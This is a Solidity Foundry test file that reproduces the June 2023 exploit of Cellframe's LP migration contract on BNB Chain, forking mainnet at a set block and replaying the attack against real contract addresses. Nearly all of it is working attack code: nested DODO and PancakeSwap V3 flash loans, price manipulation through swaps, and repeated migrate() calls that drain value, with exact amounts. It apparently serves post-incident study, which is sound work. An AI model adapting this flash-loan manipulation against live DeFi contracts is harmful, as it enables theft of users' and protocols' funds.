src/test/2023-06/Cellframe_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~76K USD$
8// Attacker - https://bscscan.com/address/0x2525c811ecf22fc5fcde03c67112d34e97da6079
9// Attack contract - https://bscscan.com/address/0x1e2a251b29e84e1d6d762c78a9db5113f5ce7c48
10// Attack Tx : https://bscscan.com/tx/0x943c2a5f89bc0c17f3fe1520ec6215ed8c6b897ce7f22f1b207fea3f79ae09a6
11// Pre-Attack Tx: https://bscscan.com/tx/0xe2d496ccc3c5fd65a55048391662b8d40ddb5952dc26c715c702ba3929158cb9
12 
13// @Analysis - https://twitter.com/numencyber/status/1664132985883615235?cxt=HHwWhoDTqceImJguAAAA
14 
15interface IPancakeRouterV3 {
16    struct ExactInputSingleParams {
17        address tokenIn;
18        address tokenOut;
19        uint24 fee;
20        address recipient;
21        uint256 amountIn;
22        uint256 amountOutMinimum;
23        uint160 sqrtPriceLimitX96;
24    }
25 
26    function exactInputSingle(
27        ExactInputSingleParams memory params
28    ) external payable returns (uint256 amountOut);
29}
30 
31interface ILpMigration {
32    function migrate(
33        uint256 amountLP
34    ) external;
35}
36 
37contract ContractTest is Test {
38    IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
39    IPancakeV3Pool PancakePool = IPancakeV3Pool(0xA2C1e0237bF4B58bC9808A579715dF57522F41b2);
40    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
41    Uni_Pair_V2 CELL9 = Uni_Pair_V2(0x06155034f71811fe0D6568eA8bdF6EC12d04Bed2);
42    IPancakePair PancakeLP = IPancakePair(0x1c15f4E3fd885a34660829aE692918b4b9C1803d);
43    ILpMigration LpMigration = ILpMigration(0xB4E47c13dB187D54839cd1E08422Af57E5348fc1);
44    IPancakeRouterV3 SmartRouter = IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);
45    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
46    IERC20 oldCELL = IERC20(0xf3E1449DDB6b218dA2C9463D4594CEccC8934346);
47    IERC20 newCELL = IERC20(0xd98438889Ae7364c7E2A3540547Fad042FB24642);
48    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
49    address public constant zap = 0x5E86bD98F7BEFBF5C602EdB5608346f65D9578c3;
50    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
51 
52    function setUp() public {
53        cheats.createSelectFork("bsc", 28_708_273);
54        cheats.label(address(DPPOracle), "DPPOracle");
55        cheats.label(address(PancakePool), "PancakePool");
56        cheats.label(address(Router), "Router");
57        cheats.label(address(PancakeLP), "PancakeLP");
58        cheats.label(address(LpMigration), "LpMigration");
59        cheats.label(address(SmartRouter), "SmartRouter");
60        cheats.label(address(CELL9), "CELL9");
61        cheats.label(address(WBNB), "WBNB");
62        cheats.label(address(oldCELL), "oldCELL");
63        cheats.label(address(newCELL), "newCELL");
64        cheats.label(address(BUSD), "BUSD");
65        cheats.label(zap, "Zap");
66    }
67 
68    function testExploit() public {
69        deal(address(WBNB), address(this), 0.1 ether);
70        emit log_named_decimal_uint(
71            "Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
72        );
73 
74        // Preparation. Pre-attack transaction
75        WBNB.approve(address(Router), type(uint256).max);
76        swapTokens(address(WBNB), address(oldCELL), WBNB.balanceOf(address(this)));
77 
78        oldCELL.approve(zap, type(uint256).max);
79        oldCELL.approve(address(Router), type(uint256).max);
80        swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)) / 2);
81 
82        Router.addLiquidity(
83            address(oldCELL),
84            address(WBNB),
85            oldCELL.balanceOf(address(this)),
86            WBNB.balanceOf(address(this)),
87            0,
88            0,
89            address(this),
90            block.timestamp + 100
91        );
92 
93        // End of preparation. Attack start
94        DPPOracle.flashLoan(1000 * 1e18, 0, address(this), new bytes(1));
95 
96        emit log_named_decimal_uint(
97            "Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
98        );
99    }
100 
101    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
102        PancakePool.flash(
103            address(this), 0, 500_000 * 1e18, hex"0000000000000000000000000000000000000000000069e10de76676d0800000"
104        );
105        newCELL.approve(address(SmartRouter), type(uint256).max);
106        smartRouterSwap();
107 
108        swapTokens(address(newCELL), address(WBNB), 94_191_714_329_478_648_796_861);
109 
110        swapTokens(address(newCELL), address(BUSD), newCELL.balanceOf(address(this)));
111 
112        BUSD.approve(address(Router), type(uint256).max);
113        swapTokens(address(BUSD), address(WBNB), BUSD.balanceOf(address(this)));
114 
115        WBNB.transfer(address(DPPOracle), 1000 * 1e18);
116    }
117 
118    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
119        newCELL.approve(address(Router), type(uint256).max);
120        CELL9.approve(address(LpMigration), type(uint256).max);
121 
122        swapTokens(address(newCELL), address(WBNB), 500_000 * 1e18);
123        // Acquiring oldCELL tokens
124        swapTokens(address(WBNB), address(oldCELL), 900 * 1e18);
125 
126        // Liquidity amount to migrate (for one call to migrate() func)
127        uint256 lpAmount = CELL9.balanceOf(address(this)) / 10;
128        emit log_named_uint("Amount of liquidity to migrate (for one migrate call)", lpAmount);
129 
130        // 8 calls to migrate were successfully. Ninth - revert in attack tx.
131        for (uint256 i; i < 9; ++i) {
132            LpMigration.migrate(lpAmount);
133        }
134 
135        PancakeLP.transfer(address(PancakeLP), PancakeLP.balanceOf(address(this)));
136        PancakeLP.burn(address(this));
137 
138        swapTokens(address(WBNB), address(newCELL), WBNB.balanceOf(address(this)));
139        swapTokens(address(oldCELL), address(WBNB), oldCELL.balanceOf(address(this)));
140 
141        newCELL.transfer(address(PancakePool), 500_000 * 1e18 + fee1);
142    }
143 
144    // Helper function for swap tokens with the use Pancake RouterV2
145    function swapTokens(address from, address to, uint256 amountIn) internal {
146        address[] memory path = new address[](2);
147        path[0] = from;
148        path[1] = to;
149        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
150            amountIn, 0, path, address(this), block.timestamp + 100
151        );
152    }
153 
154    // Helper function for swap tokens with the use Pancake RouterV3
155    function smartRouterSwap() internal {
156        IPancakeRouterV3.ExactInputSingleParams memory params = IPancakeRouterV3.ExactInputSingleParams({
157            tokenIn: address(newCELL),
158            tokenOut: address(WBNB),
159            fee: 500,
160            recipient: address(this),
161            amountIn: 768_165_437_250_117_135_819_067,
162            amountOutMinimum: 0,
163            sqrtPriceLimitX96: 0
164        });
165        SmartRouter.exactInputSingle(params);
166    }
167 
168    receive() external payable {}
169}